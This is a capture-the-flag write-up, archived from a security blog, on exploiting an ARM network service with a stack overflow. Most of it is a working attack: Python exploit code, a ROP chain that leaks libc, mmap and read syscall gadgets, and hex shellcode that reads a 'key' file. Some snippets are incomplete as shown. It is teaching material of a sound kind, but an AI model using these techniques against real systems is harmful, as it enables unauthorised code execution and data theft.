This articles was originally written for LSE Blog with Bruno Pujos. It was archived here. Check this awesome blog out too!

Score 1

This binary was compiled for the ARM architecture, and our goal was to exploit it to get the “key” file on the remote server. The first part of the binary does the setup of all the common things found in pwnables, including:

  • opening a socket
  • identifying itself as a pre-define user (bitterswallow)
  • dropping privileges

The interesting part comes after, in a function called ff. The first thing it does is send some text:

Welcome to the sums.
Are you ready? (y/n): 

And wait for an answer. It then compares it to ‘y’ or ‘Y’. If the answer is different it simply closes the connection. Once this is done we enter a loop where two functions are called.

The first one waits for an input of one byte and then goes into a big switch according to this byte. All the cases but one come back to the same point (0xa114) where it waits for another user input which is the length of a future message. The length sent can’t be over 0x400. The particular case, triggered with value 0x1a, doesn’t check this and doesn’t even ask for any length.

The pseudo C code for this function is :

int get_meta(int fd, int *input, int *value_get) {
    int choice;
    int value;
    long long int size;
    if (!input || !value_get || !recvdata(fd, &choice, 1))
        return 0;
    *input = choice;
    switch (choice & 0x3f) {
        case 0:
            value = 0x32444d; // Some value?
        // ...
        case 0x1a:
            goto last;
        // ...

    if (!recvdata(fd, &size, 2))
        return 0;

    if (size > 0x400)
        size = 0x400;
    size = (size << 16) >> 16;
    *value_get = value;
    return size;

Then a second function is called. It receives data of the size returned by the first one in a buffer of 0x400, and then computes a hash (depending on the values chosen in the first function), except for the case 0x1a which doesn’t compute the hash. It then sends this hash and asks if we want do all the loop again.

Here is the pseudo C code for this function :

int compute(int fd, int size, int input, int value_get) {
    int res_recv;
    char buf[0x400];
    char buf_hash[0x40];

    memset(buf, 0, 0x400);
    memset(buf_hash, 0, 0x40);

    printf("%x %x %x\n", size, input, value_get);
    recvdata(fd, buf, size);

    switch (input & 0x3f) {
        case 0 :
            res_recv = ...
            hash(buf, size, buf_hash);
        case 0x1a :
            res_recv = 0;
    send_data(fd, buf_hash, res_recv);
    send_string(fd, "Would you like to sum another? (y/n): ");
    recvdata(fd, &res_recv, 1);
    if (res_recv == 'y' || res_recv == 'Y')
        return 1;
        return 0;

In the caller of this function the loop will continue or it will stop. To exploit this function the goal is to change the size that returns the first function being used with the second one. Since the case 0x1a doesn’t do any check, we will use it to return the false size and then rewrite our stack to use Return-Oriented-Programming.

To rewrite the size we can use the second function that writes on the same part of the stack, the content of size is in the same place than the end of the hash buffer.

So we need to:

  • do a normal computation that rewrites something at the place of size
  • do another iteration with the choice 0x1a and rewrite all our stack.

One of the problems that we need to take care of is not to have a value which is too big because we risk to rewrite all of our stack which can make our exploit fail.

_recv("Welcome to the sums.\n")
_recv("Are you ready? (y/n): ")
_send(b"\x32") # case 50 : sha512
_send(b"\x00\x03") # send a size
_send("x" * 0x300) # send a value, with this we have a size of 0x7b3
while len(_recv(1024)) == 1024: # pass all the writing
_send("y") # say yes to do an other one
_send(b"\x1a") # case 0x1a : doesn't check the size
# Here we can send the data for rewritting our stack

At this point we can rewrite our stack but we don’t have any address from the libc so we can’t do a lot of things. There is no syscall in the binary so we can’t do anything with full ROP yet.

The first thing to do is to leak some information on the libc, like an address from the GOT which gives us the information on where libc is mapped. We chose to leak the address of getpwnam (but any other function could work).

To leak the address of getpwnam we needed to call the send_data function (0x1d9fc) on the position of the entry for getpwnam in the GOT. The first arguments of a function in ARM are given through the registers r0, r1, r2 and R3, so we needed some gadget that takes values from the stack and puts them in the registers that we need. The gadget we used to do this is in __libc_csu_init:

    LDR R3, [R5], #4
    MOV R0, R6                      ; loc_1E3C8
    MOV R1, R7
    MOV R2, R8
    ADD R4, R4, #1
    BLX R3
    CMP R4, R10
    BNE loc_1E3C4

    LDMFD SP!, {R3-R8, R10, PC}

If we go to 0x1e3e4 we can put values in registers from r3 to r8, r10 and chose the position of return from our stack. In 0x1e3c8 we can copy the values from r6 to r8 in r0 to r2 (our first arguments) and then call the function stored in r3 and if we put the good value in r4 and r10 we will have our first gadget again. Note that if we need to make a call with some values in registers like r3 (something other than the function address), we can call our first gadget and have these values in the stack too (useful to call mmap).

So we now have everything we need to leak the address from the libc. Here is the code we used to do so:

import struct
import socket
import sys

HOST = ''
PORT = 6492

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

def _send(st, end=b''):
    if isinstance(st, str):
        st = bytes(st, 'utf-8')
    st += end
    print('Send:', repr(st))
    return s.send(st)

def _recv(l):
    if isinstance(l, str):
        l = len(l)
    r = s.recv(l)
    if r:
        print('Recv:', repr(r))
    return r

def _pack(i):
    return struct.pack('<I', i)

def _unpack(b):
    return struct.unpack('<I', b)[0]

PIVOT_ADDR = 0x1e3e4
PIVOT2_ADDR = 0x1e3c8

FF_ADDR = 0x8dfc


USELESS = 0x46474849

# length of 8 int
def _call_func(addr, arg1, arg2, arg3):
    payload = _pack(addr)            # call addr.
    payload += _pack(0)              # counter loop (r4)
    payload += b'\x41' * 4           # padding.
    payload += _pack(arg1)           # first arg (r6)        (fd)
    payload += _pack(arg2)           # second arg (r7)       (data)
    payload += _pack(arg3)           # third arg (r8)        (length)
    payload += _pack(1)              # counter higher stone. (r10)
    payload += _pack(PIVOT2_ADDR)    # next addr (pc)
    return payload

def _send_bof(payload):
    p = b"a" * 0x440
    p += _pack(0x41424344)
    p += _pack(PIVOT_ADDR)
    p += payload
    p += b'y' * (0x7b3 - len(p)) # 0xe70

def pass_menu():
    _recv("Welcome to the sums.\n")
    _recv("Are you ready? (y/n): ")
    _send(b"\x32") # case 50 : sha512
    _send(b"\x00\x03") # send a size
    _send("x" * 0x300) # send a value, with this we have a size of 0x7b3
    while len(_recv(1024)) == 1024: # pass all the writing
    _send("y") # say yes to do an other one
    _send(b"\x1a") # case 0x1a : doesn't check the size


# Stage 1:
pass_menu() # we get pass the menu

payload += _call_func(FF_ADDR, SOCKET_FD, USELESS, USELESS)
_send_bof(payload) #we send our payload
_send("y") # we send this because we need a flush
addrs = _recv(38)
addrs = _recv(40)
addrs = _recv(40) # the four first char are the address of getpwnam in the libc

Now that we have the address of getpwnam, we can leak information from the libc.

At this point you have two possibilities: you can leak all the libc, compute the offset of a function compared to the address of getpwnam and call it (ret2libc). The other possibility is to leak part of the libc and find some gadgets in there to finish the exploitation with full ROP. We chose to try and search syscalls in the libc, so the second option.

When leaking the instructions from the libc we look for one particular instruction : a syscall (svc 0, opcode 0x000000ef)

We find this instruction in getpwnam implementation: the syscall was at the offset 428. (This offset changes depending on your libc so you should recompute them if you are not using the exact same libc). The gadget for the syscall is:

B loc_AAA
LDR R0, [SP, 0x14]
ADD SP, SP, 0x18
LDMFD SP!, {R4-R10, PC}

The gadget for the pop is :

LDMFD SP!, {R4-R10, PC}

In order to leak the offset we use the following code :

print("Addr: ", addrs)
payload = _call_func(SENDDATA_ADDR, SOCKET_FD, _unpack(addrs[:4]), 4096)
payload += _call_func(FF_ADDR, SOCKET_FD, USELESS, USELESS)

while len(_recv(1024)) == 1024:
while len(_recv(1024)) == 1024:

CHUNK = 1024
r = _recv(CHUNK)
res = r
while len(r) == CHUNK:
    r = _recv(CHUNK)
    res += r
while len(r) == CHUNK:
    r = _recv(CHUNK)
    res += r
while len(r) == CHUNK:
    r = _recv(CHUNK)
    res += r

print(' RES:', res[:12])
for i in range(len(res) // 4):
    opcode = _unpack(res[i * 4:(i + 1) * 4])
    if opcode == 0xef000000: # looking for the syscall
        print('Found syscall opcode at offset:', i * 4)
        print('Buff:', res[i * 4:(i + 5) * 4])

while len(_recv(1024)) == 1024:
while len(_recv(1024)) == 1024:

Now that we have the offset of our gadget we can ROP. Our goal is to call mmap and then to read from our input into the allocated page and finally to execute it.

The following code will do that :

MMAP_BUF_ADDR = 0x13371000


OFFSET = 428

GETPWNAM_ADDR = _unpack(addrs[:4])
print('getpwnam addr:', hex(GETPWNAM_ADDR))

# jump to pivot addr and put some stuf in the register for the syscall
payload = _call_func(PIVOT_ADDR, MMAP_BUF_ADDR, 4096, 7)
payload += _pack(0x32) # some flag
payload += _pack(0x41424344) * 3 # padding
payload += _pack(MMAP_SYSCALL) # the number of the syscall is in r7
payload += _pack(0x41424344) * 2 #padding
payload += _pack(GETPWNAM_ADDR + OFFSET) # addr of the syscall
payload += _pack(0xffffffff) # padding
payload += _pack(0) * 12 # padding
payload += _pack(PIVOT_ADDR) # return addr
# pushing again for an other syscall
payload += _call_func(PIVOT_ADDR, SOCKET_FD, MMAP_BUF_ADDR, 4096) 
payload += _pack(0x41424344) * 4 # padding
payload += _pack(READ_SYSCALL) # the number of the syscall
payload += _pack(0x41424344) * 2 # padding
payload += _pack(GETPWNAM_ADDR + OFFSET) # addr of the syscall gadget
payload += _pack(0) * 13 # padding
payload += _pack(MMAP_BUF_ADDR) # the last return to our shellcode

At this point we only needed to send it the shellcode. We wrote one that was pretty simple :

  • open the file “key”.
  • read its content.
  • write the buffer read on the socket.

Here is the final code for sending the shellcode and recv the result :

# sending shellcode.
# fd = open("key"); read(fd, addr_in_stack, 255); write(socket_fd, addr_in_stack, 255); 
shellcode = '0f00a0e1400080e20010a0e30570a0e3000000ef01dc4de201dc4de20d10a'
shellcode += '0e1ff20a0e30370a0e3000000ef0400a0e30d10a0e1ff20a0e30470a0e30'
shellcode += '00000ef01dc8de201dc8de26b65790000000000'

while _recv(1024):

You can find the complete exploit here.